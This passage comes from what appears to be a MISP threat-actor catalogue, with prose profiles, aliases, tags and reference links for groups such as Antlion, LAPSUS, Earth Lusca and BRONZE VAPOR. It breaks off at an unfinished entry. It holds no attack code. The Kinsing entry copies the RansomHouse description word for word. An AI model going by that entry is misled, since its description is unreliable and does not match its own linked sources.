https://blog.malwarebytes.com/threat-intelligence/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure/
https://www.telsy.com/sidecopy-apt-from-windows-to-nix/
https://blog.talosintelligence.com/2021/07/sidecopy.html
https://about.fb.com/news/2021/11/taking-action-against-hackers-in-pakistan-and-syria/

Antlion

Antlion is a Chinese state-backed advanced persistent threat (APT) group, who has been targeting financial institutions in Taiwan. This persistent campaign has lasted over the course of at least 18 months.

The tag is: *misp-galaxy:threat-actor="Antlion"*

Table 7073. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks

TA2541

Persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. This threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. This threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017.

The tag is: *misp-galaxy:threat-actor="TA2541"*

Table 7074. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight

TA516

This actor typically distributes instances of the SmokeLoader intermediate downloader, which, in turn, downloads additional malware of the actor's choice — often banking Trojans. Figure 3 shows a lure document from a November campaign in which TA516 distributed fake resumes with malicious macros that, if enabled, launch a PowerShell script that downloads SmokeLoader. In this instance, we observed SmokeLoader downloading a Monero coinminer. Since the middle of 2017, TA516 has used similar macro-laden documents as well as malicious JavaScript hosted on Google Drive to distribute both Panda Banker and a coinminer executable via SmokeLoader, often in the same campaigns.

The tag is: *misp-galaxy:threat-actor="TA516"*

Table 7075. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA547

TA547 is responsible for many other campaigns since at least November 2017. The other campaigns by the actor were often localized to countries such as Australia, Germany, the United Kingdom, and Italy. Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.

The tag is: *misp-galaxy:threat-actor="TA547"*

Table 7076. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA554

Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries. While initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017.

The tag is: *misp-galaxy:threat-actor="TA554"*

TA554 is also known as:

- TH-163

Table 7077. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA555

Beginning in May 2018, Proofpoint researchers observed a previously undocumented downloader dubbed AdvisorsBot appearing in malicious email campaigns. The campaigns appear to primarily target hotels, restaurants, and telecommunications, and are distributed by an actor we track as TA555. To date, we have observed AdvisorsBot used as a first-stage payload, loading a fingerprinting module that, as with Marap, is presumably used to identify targets of interest to further infect with additional modules or payloads. AdvisorsBot is under active development and we have also observed another version of the malware completely rewritten in PowerShell and .NET.

The tag is: *misp-galaxy:threat-actor="TA555"*

Table 7078. Table References

Links
https://www.thaicert.or.th/downloads/files/Threat_Group_Cards_v2.0.pdf

TA800

This attacker is an affiliate distributor of the The Trick, also known as Trickbot, and BazaLoader. (For more on how affiliates work, see the description of TA573). TA800 has targeted a wide range of industries in North America, infecting victims with banking Trojans and malware loaders (malware designed to download other malware onto a compromised device). Malicious emails have often included recipients' names, titles and employers along with phishing pages designed to look like the targeted company. Lures have included hard-to-resist subjects such as related to payment, meetings, termination, bonuses and complaints in the subject line or body of the email.

The tag is: *misp-galaxy:threat-actor="TA800"*

Table 7079. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes

MosesStaff

Cybereason Nocturnus describes Moses Staff as an Iranian hacker group, first spotted in October 2021. Their motivation appears to be to harm Israeli companies by leaking sensitive, stolen data.

The tag is: *misp-galaxy:threat-actor="MosesStaff"*

MosesStaff is also known as:

- Moses Staff

Table 7080. Table References

Links
https://twitter.com/campuscodi/status/1450455259202166799
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/
https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations
https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard

Avivore

The group's existence came to light during Context's investigation of a number of attacks against multinational enterprises that compromise smaller engineering services and consultancies working in their supply chains.

The tag is: *misp-galaxy:threat-actor="Avivore"*

Table 7081. Table References

Links
https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers
https://www.contextis.com/en/news/context-identifies-new-avivore-threat-group
https://www.contextis.com/en/blog/avivore

HAZY TIGER

The Bitter threat group initially started using RAT tools in their campaigns, as the first Bitter versions, for Android released in 2014 were based on the AndroRAT framework. Over time, they switched to a custom version that has been known as BitterRAT ever since.

The tag is: *misp-galaxy:threat-actor="HAZY TIGER"*

HAZY TIGER is also known as:

- Bitter
- T-APT-17
- APT-C-08
- Orange Yali

Table 7082. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf
https://mp.weixin.qq.com/s/8j_rHA7gdMxY1_X8alj8Zg
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

LAPSUS

An actor group conducting large-scale social engineering and extortion campaign against multiple organizations with some seeing evidence of destructive elements.

The tag is: *misp-galaxy:threat-actor="LAPSUS"*

LAPSUS is also known as:

- LAPSUS$

- DEV-0537

Table 7083. Table References

Links
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://blog.checkpoint.com/2022/03/07/lapsus-ransomware-gang-uses-stolen-source-code-to-disguise-malware-files-as-trustworthy-check-point-customers-remain-protected/

Scarab

Scarab APT was first spotted in 2015, but is believed to have been active since at least 2012, conducting surgical attacks against a small number of individuals across the world, including Russia and the United States. The backdoor deployed by Scarab in their campaigns is most commonly known as Scieron.

The tag is: *misp-galaxy:threat-actor="Scarab"*

Table 7084. Table References

Links
https://web.archive.org/web/20150124025612/http://www.symantec.com:80/connect/blogs/scarab-attackers-took-aim-select-russian-targets-2012
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine

BladeHawk

The tag is: *misp-galaxy:threat-actor="BladeHawk"*

BladeHawk is also known as:

Table 7085. Table References

Links
https://www.welivesecurity.com/2021/09/07/bladehawk-android-espionage-kurdish/
https://telegra.ph/Discover-Malware-Android-03-26
https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/

Copy-Paste

The title 'Copy-paste compromises' is derived from the actor's heavy use of tools copied almost identically from open source given by The Australian Government.

The tag is: *misp-galaxy:threat-actor="Copy-Paste"*

Copy-Paste is also known as:

Table 7086. Table References

Links
https://www.cyber.gov.au/acsc/view-all-content/alerts/copy-paste-compromises
https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-008-copy-paste-compromises-tactics-techniques-and-procedures-used-target-multiple-australian-networks

Killnet

A group targeting various countries using Denial of Services attacked.

The tag is: *misp-galaxy:threat-actor="Killnet"*

Killnet is also known as:

Table 7087. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://therecord.media/russia-or-ukraine-hacking-groups-take-sides/?msclkid=235244a7ba6611ec92f21c9bd3b8ee49
https://www.expats.cz/czech-news/article/pro-russian-hackers-target-czech-websites-in-a-series-of-attacks

SaintBear

A group targeting UA state organizations using the GraphSteel and GrimPlant malware.

The tag is: *misp-galaxy:threat-actor="SaintBear"*

SaintBear is also known as:

- UNC2589
- TA471
- UAC-0056
- Nascent Ursa

Table 7088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel
https://cert.gov.ua/article/38374
https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/

https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/
https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/
https://unit42.paloaltonetworks.com/atoms/nascentursa/

UNC3524

Mandiant observed this group operating since December 2019. Its techniques partially overlap with multiple Russian-based espionage actors (APT28 and APT29). They are described as having a high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet at their disposal.

The tag is: *misp-galaxy:threat-actor="UNC3524"*

Table 7089. Table References

Links
https://www.mandiant.com/resources/unc3524-eye-spy-email

Curious Gorge

Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia. The actor has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia. In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.

The tag is: *misp-galaxy:threat-actor="Curious Gorge"*

Table 7090. Table References

Links
https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe
https://blog.google/threat-analysis-group/update-on-cyber-activity-in-eastern-europe/

Red Menshen

Since 2021, Red Menshen, a China based threat actor, which has been observed targeting telecommunications providers across the Middle East and Asia, as well as entities in the government, education, and logistics sectors using a custom backdoor referred as BPFDoor. This threat actor uses a variety of tools in its post-exploitation phase. This includes custom variants of the shared tool Mangzamel (including Golang variants), custom variants of Gh0st, and open source tools like Mimikatz and Metasploit to aid in its lateral movement across Windows systems. Also, They have been seen sending commands to BPFDoor victims via Virtual Privat Servers (VPSs) hosted at a well-known provider, and that these VPSs, in turn, are administered via compromised routers based in Taiwan, which the threat actor uses as VPN tunnels. Most Red Menshen activity that has been observed took place between Monday to Friday (with none observed on the weekends), with most communication taking place between 01:00 and 10:00 UTC.131 This pattern suggests a consistent 8 to 9-hour activity window for the threat actor, with realistic probability of it aligning to local working hours.

The tag is: *misp-galaxy:threat-actor="Red Menshen"*

Red Menshen is also known as:

- Red Dev 18

Table 7091. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf
https://troopers.de/troopers22/talks/7cv8pz

Cosmic Lynx

Cosmic Lynx is a Russia-based BEC cybercriminal organization that has significantly impacted the email threat landscape with sophisticated, high-dollar phishing attacks.

The tag is: *misp-galaxy:threat-actor="Cosmic Lynx"*

Table 7092. Table References

Links
https://www.agari.com/cyber-intelligence-research/whitepapers/acid-agari-cosmic-lynx.pdf

ModifiedElephant

Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing.

The tag is: *misp-galaxy:threat-actor="ModifiedElephant"*

Table 7093. Table References

Links
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/

EXOTIC LILY

EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol. In early September 2021, the group has been obeserved exploiting a 0day in Microsoft MSHTML (CVE-2021-40444). Investigation lead researchers to believe that they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) / WIZARD SPIDER (CrowdStrike). This threat actor deploys tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation. Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, namely BUMBLEEBEE and BAZARLOADER, further evading detection mechanisms. This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.

The tag is: *misp-galaxy:threat-actor="EXOTIC LILY"*

EXOTIC LILY is also known as:

- DEV-0413

Table 7094. Table References

Links
https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti

TA578

TA578, a threat actor that Proofpoint researchers have been tracking since May of 2020. TA578 has previously been observed in email-based campaigns delivering Ursnif, IcedID, KPOT Stealer, Buer Loader, BazaLoader, and Cobalt Strike.

The tag is: *misp-galaxy:threat-actor="TA578"*

Table 7095. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

TA579

TA579, a threat actor that Proofpoint researchers have been tracking since August 2021. This actor frequently delivered BazaLoader and IcedID in past campaigns.

The tag is: *misp-galaxy:threat-actor="TA579"*

Table 7096. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

RansomHouse

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: *misp-galaxy:threat-actor="RansomHouse"*

Table 7097. Table References

Links
https://webz.io/dwp/new-ransomware-group-ransomhouse-is-it-real-or-fake/

ToddyCat

ToddyCat is responsible for multiple sets of attacks detected since December 2020 against high-profile entities in Europe and Asia. There is still little information about this actor, but its main distinctive signs are two formerly unknown tools that Kaspersky call ‘Samurai backdoor’ and ‘Ninja Trojan’.

The tag is: *misp-galaxy:threat-actor="ToddyCat"*

ToddyCat is also known as:

- Websiic

Table 7098. Table References

Links
https://www.bleepingcomputer.com/news/security/new-toddycat-apt-group-targets-exchange-servers-in-asia-europe/
https://securelist.com/toddycat/106799/
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/
https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
https://community.riskiq.com/article/d8b749f2
https://teamt5.org/en/posts/assassinations-of-minininja-in-various-apac-countries/

POLONIUM

Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.

The tag is: *misp-galaxy:threat-actor="POLONIUM"*

Table 7099. Table References

Links
https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/

Predatory Sparrow

A self-proclaimed hacktivist group that carried out attacks against Iranian railway systems and against Iranian steel plants.

The tag is: *misp-galaxy:threat-actor="Predatory Sparrow"*

Predatory Sparrow is also known as:

- Indra
- Gonjeshke Darande

Table 7100. Table References

Links
https://www.bbc.com/news/technology-62072480
https://twitter.com/*cpresearch*/status/1541753913732366338[https://twitter.com/*cpresearch*/status/1541753913732366338]
https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/

DEV-0586

MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.

The tag is: *misp-galaxy:threat-actor="DEV-0586"*

DEV-0586 is also known as:

- Ruinous Ursa

Table 7101. Table References

Links

https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://unit42.paloaltonetworks.com/atoms/ruinousursa/

Kinsing

This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.

The tag is: *misp-galaxy:threat-actor="Kinsing"*

Kinsing is also known as:

- Money Libra

Table 7102. Table References

Links
https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/
https://unit42.paloaltonetworks.com/atoms/moneylibra/

Earth Berberoka

According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group’s campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.

The tag is: *misp-galaxy:threat-actor="Earth Berberoka"*

Table 7103. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt

https://documents.trendmicro.com/assets/txt/earth-berberoka-domains-2.txt
https://www.youtube.com/watch?v=QXGO4RJaUPQ
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

Earth Lusca

Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, telecommunication companies, religious organizations, and other civil society groups. Earth Lusca's tools closely resemble those used by Winnti Umbrella, but the group appears to operate separately from Winnti. Earth Lusca has also been observed targeting cryptocurrency payment platforms and cryptocurrency exchanges in what are likely financially motivated attacks.

The tag is: *misp-galaxy:threat-actor="Earth Lusca"*

Earth Lusca is also known as:

- CHROMIUM
- ControlX
- TAG-22
- FISHMONGER
- BRONZE UNIVERSITY
- AQUATIC PANDA
- Red Dev 10

Table 7104. Table References

Links
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi
https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E
https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf
https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools

https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

Earth Wendigo

Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.

The tag is: *misp-galaxy:threat-actor="Earth Wendigo"*

Table 7105. Table References

Links
https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html

BRONZE EDGEWOOD

In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.

The tag is: *misp-galaxy:threat-actor="BRONZE EDGEWOOD"*

BRONZE EDGEWOOD is also known as:

- Red Hariasa

Table 7106. Table References

Links
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

APT9

APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.

The tag is: *misp-galaxy:threat-actor="APT9"*

APT9 is also known as:

- NIGHTSHADE PANDA
- Red Pegasus
- Group 27

Table 7107. Table References

Links
https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.mandiant.com/resources/insights/apt-groups
https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn
https://news.softpedia.com/news/trochilus-rat-evades-antivirus-detection-used-for-cyber-espionage-in-south-east-asia-498776.shtml
https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

BRONZE SPRING

BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. In July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.

The tag is: *misp-galaxy:threat-actor="BRONZE SPRING"*

BRONZE SPRING is also known as:

- UNC302

Table 7108. Table References

Links
https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion
https://www.justice.gov/opa/press-release/file/1295981/download
https://www.justice.gov/opa/press-release/file/1295986/download
https://intrusiontruth.wordpress.com/2021/05/06/an-apt-with-no-name
https://twitter.com/MrDanPerez/status/1390285821786394624

BRONZE STARLIGHT

BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. CTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.

The tag is: *misp-galaxy:threat-actor="BRONZE STARLIGHT"*

BRONZE STARLIGHT is also known as:

- SLIME34
- DEV-0401

Table 7109. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility
https://twitter.com/cglyer/status/1480734487000453121

BRONZE HIGHLAND

BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China

The tag is: *misp-galaxy:threat-actor="BRONZE HIGHLAND"*

BRONZE HIGHLAND is also known as:

- Evasive Panda

Table 7110. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware
https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf
https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s

BRONZE SPIRAL

In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.

BRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.

The tag is: *misp-galaxy:threat-actor="BRONZE SPIRAL"*

Table 7111. Table References

Links
https://unit42.paloaltonetworks.com/solarstorm-supernova
https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis

https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group
https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112

BRONZE VAPOR

BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017. The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications. CTU researchers assess BRONZE VAPOR's intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation). Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).

Prior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularity Taiwan with it's thriving semiconductor industry. In 2021 details emerged in open source of attacks on at least one European semiconductor company believed to date back to 2017. In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations. Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.

BRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook. Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access. Cobalt Strike is deployed into the environment and further access is then conducted via Cobalt Strike Beacon and other features of the platform. Sharphound is deployed to map out the victim's Active Directory infrastructure and and collect critical information about the domain including important account names. Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a "sync" or "update" related theme. WinRAR is commonly used for compressing data prior to exfiltration. Filenames for these archives often involve a string of numbers and variations of the word "update". Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.

The tag is: *misp-galaxy:threat-actor="BRONZE VAPOR"*

Table 7112. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-vapor

Vicious Panda

Check Point Research discovered a new campaign against the Mongolian public sector, which takes advantage of the current Coronavirus scare, in order to deliver a previously unknown malware implant to the target. A closer look at this campaign allowed us to tie it to other operations which were carried out by the same anonymous group, dating back to at least 2016. Over the years, these operations targeted different sectors in multiple countries, such as Ukraine, Russia, and Belarus.

The tag is: *misp-galaxy:threat-actor="Vicious Panda"*

Vicious Panda is also known as:

- SixLittleMonkeys

Table 7113. Table References

Links
https://securelist.com/microcin-is-here/97353
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia
https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf
https://securelist.com/apt-trends-report-q2-2019/91897
https://securelist.com/apt-trends-report-q2-2020/97937
https://securelist.com/it-threat-evolution-q2-2020/98230
https://securelist.com/apt-trends-report-q3-2021/104708
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

Red Nue

